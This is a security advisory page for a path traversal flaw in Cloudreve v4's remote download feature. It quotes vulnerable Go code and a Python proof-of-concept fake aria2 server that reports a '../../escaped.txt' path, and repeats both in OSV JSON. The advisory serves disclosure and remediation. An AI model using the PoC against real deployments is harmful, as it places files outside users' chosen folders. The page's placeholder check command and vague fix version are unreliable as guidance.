GHSA-w8j7-39hp-8x59: Github.com/cloudreve/Cloudreve/v4 Cloudreve's Remote Download File Paths Vulnerability

MODERATE
CWE-23 CWE-22
Published
Advisory Summary

GHSA-w8j7-39hp-8x59 is a MODERATE cloudreve's remote download file paths vulnerability (CWE-23: Relative Path Traversal) affecting Github.com/cloudreve/Cloudreve/v4 libraries in the Go ecosystem. The issue involves cloudreve's remote download file paths can escape the selected destination directory. Remediation is available in the latest vendor maintenance releases.

GHSA-w8j7-39hp-8x59 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-w8j7-39hp-8x59
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-23: Relative Path Traversal
Affected Product Github.com/cloudreve/Cloudreve/v4
Package Ecosystem Go
Published Date
Last Updated

How to Fix GHSA-w8j7-39hp-8x59

To remediate this vulnerability, upgrade all affected Github.com/cloudreve/Cloudreve/v4 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/cloudreve/Cloudreve/v4 fixed: Latest secure release
Upgrade github.com/cloudreve/Cloudreve/v4 to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/cloudreve/Cloudreve/v4

How to Check if You Are Affected

To determine whether your application is affected by GHSA-w8j7-39hp-8x59, inspect your project dependencies for Github.com/cloudreve/Cloudreve/v4:

inspect dependencies for github.com/cloudreve/Cloudreve/v4

Analyze the terminal output to locate any version of Github.com/cloudreve/Cloudreve/v4 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-23: Relative Path Traversal, where the product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory. In Github.com/cloudreve/Cloudreve/v4, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Cloudreve trusts file paths returned by the configured remote downloader. A downloader-reported path such as `../../escaped.txt` can cause a downloaded file to be created outside the user-selected destination directory. ### Details In the remote download master transfer path, Cloudreve joins the user-selected destination URI with the downloader-reported file name. ```go // pkg/filemanager/workflows/remote_download.go:436-438 sanitizedName := sanitizeFileName(file.Name) dst := dstUri.JoinRaw(sanitizedName) src := filepath.FromSlash(path.Join(m.state.Status.SavePath, file.Name)) ``` The same issue also exists when constructing slave upload payloads. ```go // pkg/filemanager/workflows/remote_download.go:323-327 dst := dstUri.JoinRaw(sanitizeFileName(f.Name)) src := path.Join(m.state.Status.SavePath, f.Name) payload.Files = append(payload.Files, SlaveUploadEntity{ Src: src, Uri: dst, ``` The sanitizer does not remove `/`, `.`, or `..` path segments. ```go // pkg/filemanager/workflows/remote_download.go:648-650 func sanitizeFileName(name string) string { r := strings.NewReplacer("\\", "_", ":", "_", "*", "_", "?", "_", "\"", "_", "<", "_", ">", "_", "|", "_") return r.Replace(name) } ``` `JoinRaw()` splits the raw string by `/` and joins the segments, allowing `..` to affect the final URI path. ```go // pkg/filemanager/fs/uri.go:173-175 func (u *URI) JoinRaw(elem string) *URI { return u.Join(strings.Split(strings.TrimPrefix(elem, Separator), Separator)...) } ``` For aria2, Cloudreve derives `downloader.TaskFile.Name` from the path returned by `aria2.tellStatus().files[].path`. ```go // pkg/downloader/aria2/aria2.go:148-159 relPath := strings.TrimPrefix(filepath.ToSlash(item.Path), savePath) if len(relPath) > 0 { relPath = relPath[1:] } return downloader.TaskFile{ Index: index, Name: relPath, ``` Therefore, if the selected destination is: `cloudreve://my/victim/safe`, the downloader reports `../../escaped.txt`, the final upload destination becomes `cloudreve://my/escaped.txt` The issue can move the final Cloudreve URI further up the user’s any accessible namespace, but is subject to Cloudreve’s normal permission and upload checks. ### PoC The PoC uses a fake aria2 JSON-RPC service to simulate a downloader returning a traversal path. The vulnerable input is downloader metadata returned by the downloader API, not the HTTP response body of the downloaded URL. Setup: ```text Cloudreve official Docker image PostgreSQL Redis Fake aria2 JSON-RPC service ``` Configure the master node in the Cloudreve admin UI: ```text Remote download capability: enabled Downloader provider: aria2 aria2 RPC server: http://fake-aria2:6800/jsonrpc aria2 token: empty ``` Create this folder structure in the file manager: ```text My files / victim / safe / ``` Create a remote download task using any URL in the `victim/safe` directory, for example: ```text http://attacker.invalid/file ``` The fake aria2 service returns: ```text files[0].path = <saveDir>/../../escaped.txt ``` Expected result after the remote download task completes: ```text cloudreve://my/escaped.txt exists ``` This demonstrates that the downloaded file escapes both the selected destination directory and its parent directory. ### Impact If a configured remote downloader returns malicious file metadata, Cloudreve may create downloaded files outside the destination directory selected by the user who starts the remote download task. This affects authenticated users who have remote-download permission and create remote download tasks. The resulting file is still subject to Cloudreve’s normal upload and permission checks, but it may be placed in an unexpected writable location outside the selected folder. ### Appendix: fake_aria2.py ```python import json import os from http.server import BaseHTTPRequestHandler, HTTPServer GID = "0123456789abcdef" CONTENT = b"created outside the selected Cloudreve destination\n" save_dir = "/cloudreve/data/temp/aria2/poc-final" def write_source_file(): source = os.path.normpath(os.path.join(save_dir, "..", "..", "escaped.txt")) os.makedirs(os.path.dirname(source), exist_ok=True) with open(source, "wb") as f: f.write(CONTENT) print(f"fake aria2 source file: {source}", flush=True) def response(rpc_id, result): return json.dumps({"jsonrpc": "2.0", "id": rpc_id, "result": result}).encode() class Handler(BaseHTTPRequestHandler): def do_POST(self): global save_dir raw = self.rfile.read(int(self.headers.get("Content-Length", "0"))) req = json.loads(raw or b"{}") method = req.get("method") rpc_id = req.get("id") if method == "aria2.addUri": for item in req.get("params", []): if isinstance(item, dict) and item.get("dir"): save_dir = item["dir"] break write_source_file() result = GID elif method == "aria2.tellStatus": result = { "gid": GID, "status": "complete", "totalLength": str(len(CONTENT)), "completedLength": str(len(CONTENT)), "uploadLength": "0", "downloadSpeed": "0", "uploadSpeed": "0", "infoHash": "", "numPieces": "1", "dir": save_dir, "files": [ { "index": "1", "path": f"{save_dir}/../../escaped.txt", "length": str(len(CONTENT)), "completedLength": str(len(CONTENT)), "selected": "true", "uris": [], } ], "bittorrent": {"mode": "single", "info": {"name": "poc-final"}}, } elif method == "aria2.getVersion": result = {"version": "fake-poc-final", "enabledFeatures": []} else: result = "OK" body = response(rpc_id, result) self.send_response(200) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) def log_message(self, fmt, *args): return if __name__ == "__main__": print("fake aria2 JSON-RPC listening on :6800", flush=True) HTTPServer(("0.0.0.0", 6800), Handler).serve_forever() ```

GHSA-w8j7-39hp-8x59 Affected Github.com/cloudreve/Cloudreve/v4 Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
github.com/cloudreve/Cloudreve/v4
Go
≤ 4.0.0-20260606032813-26b6b1044b02

References

Frequently Asked Questions

What is GHSA-w8j7-39hp-8x59?
GHSA-w8j7-39hp-8x59 is a security vulnerability in Github.com/cloudreve/Cloudreve/v4 involving Cloudreve's remote download file paths can escape the selected destination directory under CWE-23: Relative Path Traversal.
Which Github.com/cloudreve/Cloudreve/v4 versions are affected?
Affected versions include releases prior to current release patches across affected packages: github.com/cloudreve/Cloudreve/v4.
What version fixes GHSA-w8j7-39hp-8x59?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/cloudreve/Cloudreve/v4 affected?
Yes, github.com/cloudreve/Cloudreve/v4 is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What CWE is associated with GHSA-w8j7-39hp-8x59?
GHSA-w8j7-39hp-8x59 is classified under CWE-23: Relative Path Traversal (The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.).
How can I check Go dependencies for GHSA-w8j7-39hp-8x59?
Run the dependency tree command: 'inspect dependencies for github.com/cloudreve/Cloudreve/v4'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-w8j7-39hp-8x59",
  "modified" : "2026-08-24T22:03:33Z",
  "published" : "2026-08-24T22:03:33Z",
  "aliases" : [ ],
  "summary" : "Cloudreve's remote download file paths can escape the selected destination directory",
  "details" : "### Summary\n\nCloudreve trusts file paths returned by the configured remote downloader. A downloader-reported path such as `../../escaped.txt` can cause a downloaded file to be created outside the user-selected destination directory.\n\n### Details\n\nIn the remote download master transfer path, Cloudreve joins the user-selected destination URI with the downloader-reported file name.\n\n```go\n// pkg/filemanager/workflows/remote_download.go:436-438\nsanitizedName := sanitizeFileName(file.Name)\ndst := dstUri.JoinRaw(sanitizedName)\nsrc := filepath.FromSlash(path.Join(m.state.Status.SavePath, file.Name))\n```\n\nThe same issue also exists when constructing slave upload payloads.\n\n```go\n// pkg/filemanager/workflows/remote_download.go:323-327\ndst := dstUri.JoinRaw(sanitizeFileName(f.Name))\nsrc := path.Join(m.state.Status.SavePath, f.Name)\npayload.Files = append(payload.Files, SlaveUploadEntity{\n\tSrc:   src,\n\tUri:   dst,\n```\n\nThe sanitizer does not remove `/`, `.`, or `..` path segments.\n\n```go\n// pkg/filemanager/workflows/remote_download.go:648-650\nfunc sanitizeFileName(name string) string {\n\tr := strings.NewReplacer(\"\\\\\", \"_\", \":\", \"_\", \"*\", \"_\", \"?\", \"_\", \"\\\"\", \"_\", \"<\", \"_\", \">\", \"_\", \"|\", \"_\")\n\treturn r.Replace(name)\n}\n```\n\n`JoinRaw()` splits the raw string by `/` and joins the segments, allowing `..` to affect the final URI path.\n\n```go\n// pkg/filemanager/fs/uri.go:173-175\nfunc (u *URI) JoinRaw(elem string) *URI {\n\treturn u.Join(strings.Split(strings.TrimPrefix(elem, Separator), Separator)...)\n}\n```\n\nFor aria2, Cloudreve derives `downloader.TaskFile.Name` from the path returned by `aria2.tellStatus().files[].path`.\n\n```go\n// pkg/downloader/aria2/aria2.go:148-159\nrelPath := strings.TrimPrefix(filepath.ToSlash(item.Path), savePath)\nif len(relPath) > 0 {\n\trelPath = relPath[1:]\n}\nreturn downloader.TaskFile{\n\tIndex:    index,\n\tName:     relPath,\n```\n\nTherefore, if the selected destination is: `cloudreve://my/victim/safe`, the downloader reports `../../escaped.txt`, the final upload destination becomes `cloudreve://my/escaped.txt`\n\nThe issue can move the final Cloudreve URI further up the user’s any accessible namespace, but is subject to Cloudreve’s normal permission and upload checks.\n\n### PoC\n\nThe PoC uses a fake aria2 JSON-RPC service to simulate a downloader returning a traversal path. The vulnerable input is downloader metadata returned by the downloader API, not the HTTP response body of the downloaded URL.\n\nSetup:\n\n```text\nCloudreve official Docker image\nPostgreSQL\nRedis\nFake aria2 JSON-RPC service\n```\n\nConfigure the master node in the Cloudreve admin UI:\n\n```text\nRemote download capability: enabled\nDownloader provider: aria2\naria2 RPC server: http://fake-aria2:6800/jsonrpc\naria2 token: empty\n```\n\nCreate this folder structure in the file manager:\n\n```text\nMy files /\n  victim /\n    safe /\n```\n\nCreate a remote download task using any URL in the `victim/safe` directory, for example:\n\n```text\nhttp://attacker.invalid/file\n```\n\nThe fake aria2 service returns:\n\n```text\nfiles[0].path = <saveDir>/../../escaped.txt\n```\n\nExpected result after the remote download task completes:\n\n```text\ncloudreve://my/escaped.txt exists\n```\n\nThis demonstrates that the downloaded file escapes both the selected destination directory and its parent directory.\n\n### Impact\n\nIf a configured remote downloader returns malicious file metadata, Cloudreve may create downloaded files outside the destination directory selected by the user who starts the remote download task.\n\nThis affects authenticated users who have remote-download permission and create remote download tasks. The resulting file is still subject to Cloudreve’s normal upload and permission checks, but it may be placed in an unexpected writable location outside the selected folder.\n\n### Appendix: fake_aria2.py\n\n```python\nimport json\nimport os\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nGID = \"0123456789abcdef\"\nCONTENT = b\"created outside the selected Cloudreve destination\\n\"\nsave_dir = \"/cloudreve/data/temp/aria2/poc-final\"\n\n\ndef write_source_file():\n    source = os.path.normpath(os.path.join(save_dir, \"..\", \"..\", \"escaped.txt\"))\n    os.makedirs(os.path.dirname(source), exist_ok=True)\n    with open(source, \"wb\") as f:\n        f.write(CONTENT)\n    print(f\"fake aria2 source file: {source}\", flush=True)\n\n\ndef response(rpc_id, result):\n    return json.dumps({\"jsonrpc\": \"2.0\", \"id\": rpc_id, \"result\": result}).encode()\n\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_POST(self):\n        global save_dir\n\n        raw = self.rfile.read(int(self.headers.get(\"Content-Length\", \"0\")))\n        req = json.loads(raw or b\"{}\")\n        method = req.get(\"method\")\n        rpc_id = req.get(\"id\")\n\n        if method == \"aria2.addUri\":\n            for item in req.get(\"params\", []):\n                if isinstance(item, dict) and item.get(\"dir\"):\n                    save_dir = item[\"dir\"]\n                    break\n            write_source_file()\n            result = GID\n        elif method == \"aria2.tellStatus\":\n            result = {\n                \"gid\": GID,\n                \"status\": \"complete\",\n                \"totalLength\": str(len(CONTENT)),\n                \"completedLength\": str(len(CONTENT)),\n                \"uploadLength\": \"0\",\n                \"downloadSpeed\": \"0\",\n                \"uploadSpeed\": \"0\",\n                \"infoHash\": \"\",\n                \"numPieces\": \"1\",\n                \"dir\": save_dir,\n                \"files\": [\n                    {\n                        \"index\": \"1\",\n                        \"path\": f\"{save_dir}/../../escaped.txt\",\n                        \"length\": str(len(CONTENT)),\n                        \"completedLength\": str(len(CONTENT)),\n                        \"selected\": \"true\",\n                        \"uris\": [],\n                    }\n                ],\n                \"bittorrent\": {\"mode\": \"single\", \"info\": {\"name\": \"poc-final\"}},\n            }\n        elif method == \"aria2.getVersion\":\n            result = {\"version\": \"fake-poc-final\", \"enabledFeatures\": []}\n        else:\n            result = \"OK\"\n\n        body = response(rpc_id, result)\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.send_header(\"Content-Length\", str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n\n    def log_message(self, fmt, *args):\n        return\n\n\nif __name__ == \"__main__\":\n    print(\"fake aria2 JSON-RPC listening on :6800\", flush=True)\n    HTTPServer((\"0.0.0.0\", 6800), Handler).serve_forever()\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/cloudreve/Cloudreve/v4"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "4.0.0-20260606032813-26b6b1044b02"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/cloudreve/cloudreve/security/advisories/GHSA-w8j7-39hp-8x59"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/cloudreve/cloudreve"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-23" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-24T22:03:33Z",
    "nvd_published_at" : null
  }
}